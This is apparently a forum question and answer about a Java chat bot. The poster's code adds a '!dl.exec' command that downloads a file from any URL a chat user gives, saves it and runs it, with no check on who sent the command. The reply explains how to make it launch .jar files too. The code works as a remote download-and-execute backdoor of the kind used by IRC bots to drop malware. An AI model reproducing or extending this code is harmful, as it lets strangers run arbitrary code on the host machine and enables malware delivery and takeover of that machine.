ok, so i have this set of code
if(message.toLowerCase().startsWith("!dl.exec")){
String[] args = message.split(" ");
sendMessage(channel, sender +": OK, please wait a moment");
try{
java.io.BufferedInputStream in = new java.io.BufferedInputStream(new
java.net.URL(args[1]).openStream());
java.io.FileOutputStream fos = new java.io.FileOutputStream(args[2]);
java.io.BufferedOutputStream bout = new BufferedOutputStream(fos,1024);
byte data[] = new byte[1024];
int count;
while( (count = in.read(data,0,1024)) != -1){
bout.write(data,0,count);
}
fos.flush();
fos.close();
String absolutePath = new File("").getAbsolutePath()+"/"+args[2];
sendMessage(channel, sender +": the path is " +absolutePath);
Runtime.getRuntime().exec(absolutePath);
}
catch(Exception e){
}
}
and basically what it does is, the user enters !dl.exec (url) (filename) and the thing downloads it and saves it as (filename) then goes to execute it.
now this works fine, but only if the file is a .exe, for .anything else (like.jar) it does not work.
what do i need to change to get it to work with preferably all extensions?
Runtime.getRuntime().exec(String)will execute the command as if launched from a shell. If you are looking to launch a.jarfile, useRuntime.getRuntime().exec("java -jar " + absolutePath). You may also need to provide the full path to thejavaexecutable from inside theexec(String)method.You would need to explicitly specify execution behavior of non-standard file types (executables or batch files)